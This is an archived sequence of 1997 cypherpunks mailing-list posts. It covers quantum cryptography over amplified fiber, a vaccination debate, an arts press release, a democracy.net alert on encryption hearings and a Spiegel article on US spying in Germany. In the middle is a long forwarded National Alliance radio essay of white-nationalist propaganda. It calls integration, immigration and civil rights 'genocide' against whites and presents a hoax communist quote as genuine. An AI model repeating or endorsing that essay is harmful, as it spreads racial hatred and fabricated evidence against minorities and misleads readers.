From: Dan.Oelke@rdxsunhost.aud.alcatel.com (Daniel R. Oelke)
Date: Tue, 18 Mar 1997 08:22:28 -0800 (PST)
To: rah@shipwright.com
Subject: Re: Dark Fiber Redux
Message-ID: <199703181622.KAA01573@spirit.aud.alcatel.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> The implications for cryptography are rather cool. I don't *think*  these
> doped optical amplifiers interfere with so-called quantum cryptography (not
> to be confused with quantum computing, of course). If I remember my SciAm
> back issues, quantum crypto is cool, because if anyone touches the signal
> from Alice to Bob they're detected immediately. Or, is it that the signal
> drops? Can't remember which. Anyway, you need uninterrupted fiber to do QC,
> and that's what you have with optical non-switched amplification, whether
> you're disturbing the photons is another story. Anyone here know for sure?
> I remember discussion about this, but I don't remember the answer.
> 

I am not an expert in the *exact* physics of quantum crypto or of 
optical amplifiers, but I do have a least a college "modern physics"
level of understanding of both.  (and write software for a lot of
fiber optics hardware)

Quantum Crypto depends on the fact that you can't observe
the photons without disturbing them, and that this disturbance
would be detectable at the receiver.  
(i.e. Heisenberg's uncertainty principle at work)

Optical Amplifiers work by receiving a relatively small 
number of photons, and passing them through a device 
where each photon creates in effect a cascade of photons
to be generated thereby amplifying the signal.

Now, this cascade mechanism in itself might be enough "measurement"
to cause problems - but I don't know - and won't persue this
avenue further.

The problem is that while the waveform will be propagated, the
orignal photons won't necessarily make it from one end to the
other.  Without these original photons making the entire 
journey I don't see how the quantum crypto would work.

There are also pratical limitations on the number of optical
amplifiers you can have in a system before having an
electrical regenerator.  Typical numbers are around 5 
amplifiers, eaching going about 80km.  This doesn't 
allow for around the world pure glass communications. ;-(

Dan
--------------------------------------------------------------------------
Dan Oelke - droelke@aud.alcatel.com        Alcatel Telecom, Richardson, TX

There's a Wocket in my Pocket, And a Findow in my Window, 
And a Nook Gase in my Book Case





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 18 Mar 1997 08:56:09 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970318114803.7094A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


*sigh* I'm responding to Vulis...

The short answer, perhaps, is that government should as a general rule
adopt those policies that allow the greatest freedom over the long term.
Private social pressure from families and communities may then develop
into a more powerful force.

-Declan


On Tue, 18 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> > As you know, every year there are a certain number of child deaths as a
> > result of reactions to state-mandated innoculations/vaccinations.  Gone too?
> >
> > Perhaps the difference, or rationale, here is the possible spread of disease
> > to others, rather than trying to protect the individual from himself.
> 
> Suppose X chooses to innoculate their kids and Y chooses not to innoculate
> their kids against, say, polio; and Y's kids get it. They're not going
> to give it to someone whose parents chose to innoculate them. (This is
> a kind of borderline example, not unlike circumcision.  The individual
> affected by the choice is too young to understand what it's all about,
> but doesn't want to be stuck with a needle. Why are the parents more
> qualified to make decisions for him than the state?)
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List-Owner <sara@diacenter.org>
Date: Tue, 18 Mar 1997 10:51:03 -0800 (PST)
Subject: Dia_Press_Release.Donegan_Web_Project
Message-ID: <199703181255.MAA21310@diacenter.org>
MIME-Version: 1.0
Content-Type: text/plain


Dia Center for the Arts press release 3/12/97   

Cheryl Donegan: Studio Visit



Studio Visit, a work for the world wide web by Cheryl Donegan, will be

launched on March 20, 1997, at http://www.diacenter.org/donegan/. For

Studio Visit, Donegan has put together a visually rich and playful

interface constructed from imagery she has utilized in her studio practice.

Film frames, TV screens, thumb prints, detergent bottles, and Newport

cigarette's advertising campaign are some of the sources of the motifs she

adopted and recreated for the site. Studio Visit also includes a series of

images of Donegan at work in her studio over the course of a day. Opting

for "low-tech" tricks, she has created an interactive experience from a

combination of gif animations, frames, refreshes, mouse-overs and other

devices inherent to the web.



Donegan's previous work has encompassed video, painting and performance,

often putting an ironic and irreverent spin on conventions of art practice

and art history. For example, several of her videos portray the artist

executing simple, conceptual performances which result in paintings or

drawings generated by various parts of her body. In Studio Visit, Donegan

has transformed her experimentation with the language of painting into the

medium of the web with wit and humor.



Cheryl Donegan was born in New Haven, Connecticut in 1962, and studied at

the Rhode Island School of Design in Providence and at Hunter College in

New York. Her first one-person show was at the Elizabeth Koury Gallery in

New York in 1993, with more recent solo exhibitions at Basilico Fine Arts

in New York, Galerie Rizzo in Paris, and currently, at the Baumgartner

Gallery in Washington, D.C. She has exhibited widely in group shows in the

United States and Europe. One of her works is currently on view at the

Museum of Modern Art in "Young and Restless," an exhibition of contemporary

video art by young artists working in New York City.



Dia Center for the Arts is a tax-exempt charitable organization.

Established in 1974, the organization has become one of the largest in the

United States dedicated to contemporary art and contemporary culture. In

fulfilling this commitment, Dia sustains diverse programming in poetry,

arts education, and critical discourse and debate via lectures and

symposia.



In addition, it maintains on a long-term basis works of art not easily

accommodated by conventional museums. Dia serves as a conduit for realizing

these projects, as intimated by the Greek word from which it takes its

name. Dia's long-term projects include Joseph Beuys's 7000 Oaks; Walter De

Maria's The Broken Kilometer, The Lightning Field, and The New York Earth

Room; La Monte Young and Marian Zazeela's Dream House and The Dan Flavin

Art Institute; Cy Twombly Gallery; and the Andy Warhol Museum.



Current programs are supported in part by funds from the National Endowment

for the Arts; the New York State Council on the Arts; and the New York City

Department of Cultural Affairs; The Ministry of Foreign Affairs of the

Federal Republic of Germany through the German Consulate General of New

York; Axe-Houghton Foundation; The Bohen Foundation; The Brown Foundation;

The Cowles Charitable Trust; The Getty Grant Program; The Graham Foundation

for Advanced Studies in the Fine Arts; Lannan Foundation; Robert Lehman

Foundation, Inc.; The Andrew W. Mellon Foundation; Arthur Ross Foundation;

The Juliet Lea Hillman Simonds Foundation; Lila Acheson Wallace Theater

Fund at Community Funds, Inc.; AT&T; Calvin Klein, Inc.; The Chase

Manhattan Bank; Hachette Filipacchi Magazines; Philip Morris Companies

Inc.; Tag Heuer; Wenner Media Inc.; and the individual members of the Dia

Art Council.



For information about this and other Dia programs, please contact Jennie Prebor

at tel: (212) 989-5566, fax: (212) 989-4055, e-mail: jennie@diacenter.org      

Dia Center for the Arts                                                        

542 West 22nd Street, New York, NY                                             

http://www.diacenter.org                                                       

To unsubscribe from this list, please send a message to webmaster@diacenter.org 

with "unsubscribe press list" in the subject.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Voters Telecommunications Watch <shabbir@democracy.net>
Date: Tue, 18 Mar 1997 11:37:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703181936.OAA03406@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


===========================================================================
     _                                                             _   
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_ 
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_ 
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/  

Bringing democracy to the Internet                 http://democracy.net
Do not circulate after March 25, 1997                    March 18, 1997

___________________________________________________________________________
Table of Contents
        How You Can Participate
        Upcoming Events
        How You Can Participate In The Upcoming Encryption Hearings
        About democracy.net

___________________________________________________________________________
HOW YOU CAN PARTICIPATE

The democracy.net project aims to make citizens a greater part of the
policy process through the use of Internet technology.  For more information
please check our site's "About Us" section at http://democracy.net.

There are two ways you can participate in the policy process.

1. Attend the Senate Pro-CODE hearing Wed., March 19th 2PM EST
Come, listen to the hearing through RealAudio, pose questions to the
Senators, and discuss the legislation with others.

2. Submit your comments to the House Judiciary hearing 
On Thursday March 20th, 9:30AM EST, the House Judiciary committee will
be holding a hearing on the S.A.F.E. bill (H.R.695).  We'll try to
tape it for the site and submit your testimony for the record at the
hearing.

___________________________________________________________________________
UPCOMING EVENTS

March 19, 2PM EST: SENATE COMMERCE COMMITTEE HEARING ON S.377 (PRO-CODE)

  democracy.net has teamed up with the Senate Commerce Committee to
  provide live audio, live photos, a form for you to submit your own
  questions and testimony, and an interactive chat where you can talk
  to policy makers and members of Congress.  To join the event, simply
  go to http://democracy.net and follow the links!

  The following witnesses are scheduled to testify at the hearing.  You can
  learn more about them, read their biographies, and submit your own questions
  to the Senators at http://democracy.net

  Panel 1
    . Hon. Louis Freeh, Director, FBI
    . Mr. William Reinsch, Undersecretary, Bureau of Export Administration,
         US Dept. of Commerce
    . Mr. William P. Crowell, Deputy Director, National Security Agency
    . Hon. David L. Aaron, U.S. Permanent Representative to the Organization
         for Economic Cooperation and Development

  Panel 2
    . Mr. James Barksdale, CEO, Netscape Communications, Inc.
    . Mr. Joseph R. Kretz, Director, Information Technology Security &
         Standards, FMC Corporation
    . Mr. Ed Black, President, Computer and Communications Industry
         Association

March 20, 9:30AM EST: HOUSE JUDICIARY COMMITTEE HEARING ON H.695 (S.A.F.E)

  Although this won't be cybercast live, we'll be bringing you the
  audio of the hearing on the page within the next 24 hours, along with
  copies of testimony presented at the hearing.  You can also be able
  to submit your own testimony for the record.

April 3, 8:30PM EST: Online town hall meeting with Rep. Rick White (R-WA)
April 16, 8:30PM EST: Online town hall meeting with Rep. Anna Eshoo (D-CA)

  At these town hall meetings, moderated by Wired Magazine's
  Cyber-Rights editor Todd Lappin, you'll be able to pose questions to
  the members of Congress, listen to their answers through live audio,
  discuss their answers with other net users, and more!

___________________________________________________________________________
ABOUT DEMOCRACY.NET
        
The democracy.net project is dedicated to exploring ways of enhancing
citizen participation in the democratic process via the Internet. To
this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy
makers.  By participating in these forums, you can make your voice heard
in the process.   You can subscribe to receive democracy.net alerts at
http://democracy.net/

===========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: advinfo@dreamon.com (Adv Info)
Date: Tue, 18 Mar 1997 12:28:23 -0800 (PST)
To: advinfo@dreamon.com
Subject: ADV Weekly Transcripts
Message-ID: <332EFA54.1280@dreamon.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

If you would like to unsubscribe to this service, please e-mail
advinfo@dreamon.com. For more information visit the National Alliance
web site at http://www.natall.com. For patriotic books, tapes and
videos, visit National Vanguard Books Online Catalog at
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------
American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

It's Genocide

by Robert Thompson 

Those who listen regularly to this program know that I am steadfastly
opposed to what is called "The New World Order," that is, I am opposed
to the establishment of world government under the United Nations and
other international entities. 

The establishment of world government, which is taking place now and has
been taking place since the War to Impose the New World Order ended in
1945, will mean the end of American freedom. 

We have reached the point where the President of the United States feels
more obligated to obtain United Nations permission for US military
action than he feels obligated to obtain authorization from Congress. 

Since we are so far down this dangerous road, I think it is wise to step
back and look at the ostensible purposes of the United Nations, and how
well its actions stand up to its professed principles. 

One of those professed principles is opposition to genocide, that is,
the attempted destruction of a people. Let us look at the UN definition
of genocide. 

The following quote is from the United Nations "Genocide Convention": 

"Acts Constituting Genocide "Article II "In the present Convention,
genocide means any of the following acts committed with intent to
destroy, in whole or in part, a national, ethnic, racial or religious
group, as such: "(a) Killing members of the group; "(b) Causing serious
bodily or mental harm to members of the group; "(c) Deliberately
inflicting on the group conditions of life calculated to bring about its
physical destruction in whole or in part; "(d) Imposing measures
intended to prevent births within the group; "(e) Forcibly transferring
children of the group to another group." 

Genocide, by the above definition, applies to national groups, including
Americans; and ethnic groups, including people of European descent in
the United States and South Africa; as much as any other groups. It is
my contention that the people of European descent of this world are the
targets of a constant, consistent, systematic, sustained campaign of
genocide, with the intention of humiliating, subjugating, and eventually
eliminating our people. This is being accomplished on two levels: by
means of both overt and covert government coercion; and by means of both
an open psychological warfare campaign and, using sophisticated psywar
techniques, a subliminal psywar campaign. 

Think about racial integration. The laws which formerly protected the
freedom of association of different racial groups, who in all of
recorded history have shown a strong tendency to segregate themselves
and evinced a strong desire to live among their own kind and by their
own values, were all reversed by illegal decrees of a leftist Supreme
Court, until today freedom of association is virtually illegal, except,
so far, in the bedroom. All human societies, and indeed all forms of
higher life on this planet, require an exclusive territory for their
survival. Nations and species both defend their territories, sometimes
unto death, because that truth is graven upon their hearts at a very
deep, instinctual level. It is this inner knowledge of the need for an
exclusive territory that makes us naturally group together along ethnic
lines and makes our young men willing to fight and die to keep our
territory -- our country -- for ourselves. We cannot survive unless we
have a territory exclusively our own. Integration takes that away from
us. 

According to section C of the Genocide Convention, genocide is
"Deliberately inflicting on the group conditions of life calculated to
bring about its physical destruction in whole or in part." One look at
the interracial murder and interracial rape statistics put out by the
FBI is enough for any reasonable person to see that Americans of
European descent have been under a constant physical assault, due in no
small part to the promotion of "integration." And "integration" has
destroyed our criminal justice system; the guilty often go unpunished or
the innocent are persecuted, not on the basis of the evidence, but based
on the racial composition of the jury, which is acknowledged even by the
news media to be one of the most important factors in the outcome of a
trial. 

One particularly horrible consequence of "integration" is the forced
taking of our innocent little children, some of them only five years
old, and bussing them into the Third World war zones that so many of our
cities have become; or bussing the warring gangs into our neighborhoods
-- all in the name of "integration." According to section E of the
Genocide Convention, genocide is defined as "Forcibly transferring
children of the group to another group." Even though decent and
thoughtful members of many races have been against it from the
beginning, our masters are now accelerating a push to promote
interracial adoption as a government policy, opposition to which will be
punishable by law. This also fits the definition of genocide under
section E. 

Section B of the Genocide Convention defines genocide as "Causing
serious bodily or mental harm to members of the group." We have
discussed bodily harm -- what about mental harm? To be healthy, every
child and every adult must have a positive sense of identity. In the
United States, our schools used to teach our children about the positive
contributions of our race, which founded America and Western
Civilization itself. We taught our children to respect the cultures of
other peoples, yes, but also to revere and honor our people's
achievements, from the Iliad to Shakespeare, from Stonehenge to the
transistor to the walk on the moon. And they were acknowledged as OUR
achievements! But under the current regime of Political Correctness it
is considered evil to acknowledge the fact that ours is a European
civilization. Our achievements may not be mentioned in class or textbook
unless in the same breath an African, an Oriental, or a lesbian
Communist is given equal billing, and historical accuracy be damned! The
desire of people to live among their own kind is called "racism," and
guilt for this imagined sin is inculcated among our young people in
almost every book, television program, motion picture or even computer
game that is made available to them. They are told that their ancestors,
who built America and the West, were wrong and that only the
Communist-inspired "civil rights" revolution of the last few decades has
finally set things right. They are spoon-fed a moral outlook on the
world in which anything which tends to the survival and advancement of
White Americans is deemed evil, and everything which tends to our
extinction is deemed good, by definition. This alien morality, which
does no race any good except our self-appointed masters, has grievously
injured two entire generations of our people. It is sick -- it is evil
-- and it is undoubtedly genocide -- "causing serious mental harm to the
members of the group." 

Section D of the Genocide Convention defines genocide as "imposing
measures intended to prevent births within the group." Ask yourself this
question: What has been the demographic result of all the so-called
"feminist" agitation of the last few decades? Has it resulted in a
significant reduction in the numbers of the Third Worlders now crowding
our cities? Are illegal Mexican immigrant women or inner city welfare
mothers now taking up careers and foregoing children until they're
nearly forty? Or is it traditional European-American women who have
decided that there are things more important than the creation and
raising of the next generation of our people? 

We as a people are not even replacing ourselves. We are starting our
families later if at all, and few women have the three children
necessary to maintain our numbers. The promotion of abortion on demand
has also made little dent in the mushrooming population of non-Americans
within our borders, but it has convinced many millions of our own people
that slaying their children in the womb, for no better reason than
personal convenience, is a good and laudable idea. A whole generation
has thus been killed and will never see the light of day -- yet another
reason why the portion of the population of European descent is in
precipitous decline. Other anti-birth policies include the media and
government campaigns to promote and legitimize homosexuality. 

Is there an identifiable power structure within America which is
"imposing measures intended to prevent births within the group"? You bet
there is! 

We have not yet addressed section A of the convention, "killing members
of the group," but when the New World Order boys have succeeded in
disarming us we shall see what their intentions really are in that
regard. 

Also ongoing is a slow war against us now being waged in our inner
cities; and there is also the fact, exposed many times on this program,
that most of the wars of this century have been engineered for the
benefit of the New World Order elitists -- and it is our fathers,
brothers, and sons who do the dying. 

Is multi-racialism genocide? Yes it is. 

Is multi-culturalism genocide? Yes it is. 

Is teaching minorities self esteem while teaching Whites "sensitivity"
genocide? Yes it is. Is diversity indoctrination genocide?
Yes it is. 

Is toleration of illegal immigration genocide? Yes it is. 

Is any non-White immigration, except perhaps for diplomatic and consular
representatives, genocide? Yes it is. 

Do anti-discrimination laws constitute genocide? Yes they do. 

Do "hate crime" laws constitute genocide? Yes they do. 

Does support of convenience abortion constitute genocide? Yes it does. 

Does promotion of homosexuality constitute genocide? Yes it does. 

Is suppression of information on racial differences genocide? Yes it is. 

Is inhibiting research on racial differences genocide? Yes it is. 

Is "affirmative action" genocide? Yes it is. 

Is the subliminal or overt promotion of interracial sex on TV genocide?
Yes it is. 

Does failure to provide equal media time to Whites to further their
cause, constitute genocide? Yes it does. 

Does the undermining of loyalty of White Americans to their own people
constitute genocide? Yes it does. 

Does undermining the sovereignty of our nation and the promotion of
world government constitute genocide? Yes it does. 

It is not necessary to use gas chambers to commit genocide. 

Some of our own people, in order to gain favor with a treacherous and
disloyal elite, find it to their own advantage to sacrifice the
integrity of our country and our people, for money or power. Some of our
people would rather surrender and grovel than fight. As long as they are
able to go along to get along, they pretend to ignore the decay and
collapse of our civilization brought about as a direct result of the
genocidal program being imposed upon us. I believe the day is coming
when they must answer for their treason. If that day does come, and I
believe it will, they will find their answers falling on deaf ears.
"Treason, how be it punished...?" 

Those who promote the New World Order today are the spiritual and in
some cases the physical cousins of those who founded Communism. Though
the overtly Communist attempt at world government foundered on its
economic failures, we make a big mistake if we think that the danger is
passed. 

Those who created Communism in the first place as an instrument for
world control are very much alive, and their evil dream of world
government is now being achieved. They have always been friendly toward
Communism, though they favor its objectives secretly. They use code
words like "restoring democracy" while they impose Communist tyrannies
on South Africa and Haiti. They hate all races, but they especially hate
our race -- for our nations, once awakened, have the potential for
defeating their evil schemes. 

Let us see whether or not the current plan for "integration" matches
Communist objectives. 

England's leading Communist writer in the early part of the twentieth
century had long range plans for the race problem. 

He had this to say in his book, A Racial Program for the 20th Century,
as printed in the Congressional Record for 1957, page 8559: 

"In America, we will aim for a subtle victory. While inflaming the Negro
minority against the whites, we will endeavour to instill in the whites
a guilt complex for their exploitation of the Negroes. We will aid the
Negroes to rise to prominence in every walk of life, in the professions
and in the world of sports and entertainment. With this prestige, the
Negroes will be able to intermarry with the whites and begin a process
which will deliver America to our cause." 

Well, there it is. Straight from the horse's mouth. I want you to pay
particular attention to the statement, and I emphasize: "...we will
endeavour to instill in the whites a guilt complex for their
exploitation of the Negroes." Despite the fall of the Soviet Union, the
Soviet psychological warfare people, with the help of their agents of
influence in the West, have succeeded beyond their wildest dreams. 

Now, I personally believe it is time to undo, by every legal means
possible, the greatest Soviet psychological warfare triumph. In fact it
is the greatest triumph for any psychological warfare campaign ever
waged -- racial "integration" in the United States. Of course the
Communists' powerful allies helped, and these "helpers" are very much
with us today in America. 

In 1928 Communist writer Joseph Pogany was sent to the United States by
Moscow with the mission of implementing the Soviet racial agenda in
America. Writing in the Communist newspaper, The Daily Worker, under the
name of Joseph Schwartz, this Communist laid out his party's program for
the racial destruction of this country. The program was: 

"1. Abolition of the whole system of race discrimination and insure full
racial equality; "2. Insure the Negroes the right to vote; "3. Abolish
all Jim Crow laws and forbid discrimination against Negroes in selling
or renting houses; "4. Abolish all laws forbidding intermarriage of
persons of different races; "5. Assure full integration of public
schools and universities; " 6. The equal admittance of Negroes to
railway stations, waiting rooms, hotels, restaurants and theaters; "7.
Full integration of the Army and Navy; "8. Allow Negroes to join all
labor unions; "9. Equal employment opportunities for Negroes." 

Now, do these measures have a familiar ring to them? Of course they do.
This is what became the American "civil rights" movement. This was the
blueprint. People tell us that "integration" will make us a better and
stronger country. Do you believe that the Soviets would have done
anything to make our country stronger or better? Do you expect me to
believe that? To anyone who was gullible enough to accept all or any
part of this agenda I say this: Lenin had an expression for you. He
would refer to those in the West who consciously or unconsciously served
Soviet interests as his "useful idiots." 

At this point we can expect to hear the whines, the bleats, and the
snivels: "I don't care if we were led by the nose on the race issue by
the Communists, it was right!" If you think that our fractured and
disintegrating society is better even for the Blacks than the strong,
confident, prosperous and peaceful America before the "civil rights"
revolution then you are truly living in a dream world. Forced
"integration" of widely differing peoples never works -- it only
destroys. History abounds with examples. Remember, most of the Third
World people who have been encouraged and allowed to come here are not
America's real enemies. They are only taking advantage of a situation
created by America's enemies. Their culture and survival, too, are in
peril from the New World Order multicultural agenda. America's enemies
are those who created and are pushing that agenda. 

To oppose the genocidal program of the New World Order, we must say some
things that our masters have decided we are not supposed to say. They
want to homogenize us all and destroy all races and nations to fulfil
their dream of world conquest.

To destroy national and racial identity and feelings is their number one
goal -- because such feelings are the major stumbling block in the path
of "one world." Instead of armies, in America our enemies have conquered
us by infiltration of our government and our media -- they have
conquered our minds -- but they have not conquered all of us. Some of us
know that we must oppose the genocide of our people. We know in our
hearts that we are not "haters," and that our struggle for freedom and
independence is not based on a hatred of others or other cultures, for
which we of course should show due respect, but based instead upon a
love for our children, and their children, and the uncounted generations
to come, and on a determination that the light represented by our
Western civilization shall never be extinguished. 

~
For more information or to find out how you can join the leading
patriotic organization in the world today, visit the National Alliance
web site and read "What is the National Alliance" at
http://www.natvan.com/WHAT/WHATDIR.HTML.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 18 Mar 1997 17:12:28 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <199703181918.TAA17082@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <9HHR4D12w165w@bwalk.dm.com>, on 03/18/97 at 06:21 AM,
   dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>camcc@abraxis.com (Alec) writes:

>> Tim,
>>
>> There would be more room if your sig weren't so long. :->

>Guys with short dicks use long sigs.

>> As you know, every year there are a certain number of child deaths as a
>> result of reactions to state-mandated innoculations/vaccinations.  Gone too?
>>
>> Perhaps the difference, or rationale, here is the possible spread of disease
>> to others, rather than trying to protect the individual from himself.

>Suppose X chooses to innoculate their kids and Y chooses not to innoculate
>their kids against, say, polio; and Y's kids get it. They're not going to
>give it to someone whose parents chose to innoculate them. (This is a kind
>of borderline example, not unlike circumcision.  The individual affected
>by the choice is too young to understand what it's all about, but doesn't
>want to be stuck with a needle. Why are the parents more qualified to make
>decisions for him than the state?)

The issue of who is more qualified is irrelevent.

The parents are the ONLY ones who have a right to determin the welfare of
their childern. If the parents determin that the risks of reaction to the
innoculation outways the benifits that choice is their's and their's alone.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows isn't crippleware: it's "Fuctionally Challenged"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Mar 1997 17:09:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: US Spies Vacuum Germany
Message-ID: <1.5.4.32.19970319010152.0082f174@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


This week's Spiegel has a three-page follow-up article on the CIA spy:

Der Spiegel No. 12 / 1997, pp. 34-36.

Espionage / "Dinner for Two"

  For almost three years, a CIA agent has pumped a Head of Unit in
  Bonn's Economy Ministry.  The US agencies' wild actions no longer
  are taboo.

The official Klaus Dieter von Horn, 60, ex officio is on the guard of
spies - the Superior Counsellor in the Economy Ministry is responsible
for the Arabian area.  As the head of unit VB7 - that concentrates on
Iran - knows, spies from the Near East, but also from other areas,
take a keen interest in the files on his desk.

Nevertheless, at first the official did not pay much attention to
Geoffry Plant's efforts.  After all, he was in diplomatic duty of the
big brother USA.  Horn and Plant got to know each other late in 1994,
and the American invited the German to a dinner for two every three or
four weeks.  The US embassy's IInd Secretary liked to chat about his
employer and kept asking even more questions about Horn's ministry.

He had Horn explain the political background of the Mykonos lawsuit,
and was interested in the Hermes credits to Iran.  When Bonn in August
1995 asked Iran to send two employees of their office in Bonn on
vacation without return tickets because they had been unveiled as
spies, Plant wanted to know all details.

Another time, he politely asked for a list of those firms that deliver
all sorts of goods, especially high tech, to the Mullahs' state.  The
Ministerial Counsellor remained courteous, but refused: He was not
allowed to hand over those papers, Plant surely knew that?  The
American did understand, but he would not give up.

Last year in May, he again invited Horn to dinner.  He was leaving the
embassy, he said, and on farewell still handed over a Montblanc pen of
almost 300 DM worth.  Also, he introduced his successor: Peyton K
Humphries, a diplomat working on Iran.  Plant asked him not to forget
that name.

That was for granted.  Other authorities were already awaiting the US
embassy's new second secretary with large interest: The German
intelligence agencies wanted to check if the Americans were willing to
continue the agents game in diplomatic undercover.

Because already in Summer 1995, after the first talks with Plant, wary
Horn had contacted the Bundesnachrichtendienst (BND) and the Bundesamt
für Verfassungsschutz (BfV).  Obviously, he reported, American spies
were assigned to him.

He correctly informed the BfV about the various meetings and also
handed over presents such as pens and champagne.  Then, as Humphries
queried him about the ongoing construction of the nuclear power plant
of Busher after his return from a trip to Teheran, Horn described the
US interest in full detail.

What was happening there, was a textbook case to the BfV agent
hunters: Spies from a foreign power wanted to recruit a German top
official.  It is the spy school's ABC to first give the source test
orders such as obtaining material from an open source - as in Horn's
case.  Also typical: The German was supposed not to talk to anyone
about the encounters, including US embassy staff.  Humphries: "There
are two competing camps."  The CIA and the embassy's economy department
don't get on well with each other.

After the German counterespionage experts had dropped all plans to
crack the US embassy that lies at the Rhine like a fortress at
Deichmanns Aue 29, or to tap Humphries' telephone, in this February
BfV head Peter Frisch talked to the head of the CIA in Bonn, Floyd L
Paseman.  Humphries, Frisch demanded, was to leave the country, the
Chancellor's Office and the Foreign Office were annoyed.

Paseman denied espionage, but assured that the CIA agent would leave
until May 30.  He insistently asked to handle the incident most
discreetly.

It failed.  Since Der Spiegel reported first details about the
snooping last week, the relations between the goverment and Washington
are not free from irritations.

In the US, comparisons were made with France kicking out four CIA
agents in 1995.  "Why do the United States spy out their friends?"
the Wall Street Journal asked.  "Shame", said the Chicago Tribune's
editorial.  Washington still treated Germany as an agents center like
"in the age of Cold War".

The timid in Bonn now are afraid of trouble with the big brother.  But
there also is relief.  Kicking the CIA man out gives the chance to no
longer treat espionage among friends as a taboo.

Six and a half years after re-unification and the end of the allied
forces' privileges in Germany, the Germans in the conspirative area
still are not the masters of their own house.  Still, some Western
agencies - the Americans at the head - act like in their own backyard.

Hortensie I, the BND's synonym for the CIA, and Hortensie III, as the
most sinister American intelligence agency, the National Security
Agency (NSA) is referred to, resemble the flower of the same name: a
shrublike plant with strong roots.

The "friendly agencies" are increasingly active in the capital,
Berlin's Secretary of State of the Interior Kuno Böse (CDU) reported
in February.  In mid-February, the heads of the Offices for the
Protection of the Constitution met in Bad Neuenahr to "re-structure
counter-intelligence".  "Focussing on the East", they noted as item 4,
"would not correspond to political reality any more".

Looking to the West shows surprising activity: More than 1,000 wiretap
technicians and 100 professional US agents bustle about in Germany,
security experts estimate.  20 intelligence officers are suspected in
the American embassy at the Rhine alone.

The friendly power's spies are in consulates, allied supreme command,
and barracks.  They try to recruit agents in Germany, they tap sources
without consultation, and whoever uses a telephone between the Alps
and the Baltic Sea must be aware that the NSA be switched in -
attention, the friend is listening.

Before 1990, the American eavesdroppers were ubiquitious.  They
maintained a listening post on the mountain Teufelsberg in Berlin, to
listen to East Berlin, and probably the West as well.  In Frankfort am
Main, close to the Zeil, there was another impressive listening post.

In the Lech plain near Gablingen, the Americans constructed a powerful
circular antenna grid - some 300 meters of diameter and 100 meters of
heigth.  Upside, they were listening on short wave to the Eastern
generals' orders.  What they were doing in the underground, has
remained their secret.

The Teufelsberg has been left, as the Americans moved further to the
East.  The Frankfort subsidiary has also been closed, and Gablingen
will be given up next year.

But the Americans' pride, their "giant ear" in Germany, will remain,
and it makes the ordinary wiretap look rather ordinary.  The site is
located in Bad Aibling, Upper Bavaria.  In an idyllic landscape, the
empire of Hortesie III extends immensely.  Gigantic antenna facilities
that in their covers rise above the plain like huge gulf balls are
eavesdropping Russian military.  Russian sattelites are tapped, the
telephone traffic directed to the formerly Soviet army is recorded.

Right next to it, in the German Mangfall barrack, resides the BND's
so-called long distance radio traffic site.  It (object "Orion") may
use the American antennae, nearly 100 eavesdroppers are analyzing the
cyrillic babel of speech.

But the peace is deceptive.  The intelligence empire NSA (estimated
budget: 3.5 billion dollar, about 100,000 employees) maintains a large
complex in Bad Aibling that is terra incognita to the German agencies.
By far, it is not just about the legitimate American safety interests.

In the midst of Germany, there is a control center for the many
American espionage sattelites that, according to a security expert in
Bonn, "long since do not only spy out the East".  The celestial bodies
of American origin circulating in close orbit suck in electronic
signals above Germany like a huge vacuum cleaner.  With encrypted
signals, Bad Aibling queries the memory of the satellites and searches
the collected phone conversations, faxes and computer traffic for
interesting stuff.

Until 1995 the site officially used the name of the NSA.  To keep up
appearances, then a US Air Force lieutenant colonel took over command,
the military flag is demonstratively fluttering in the wind.  But
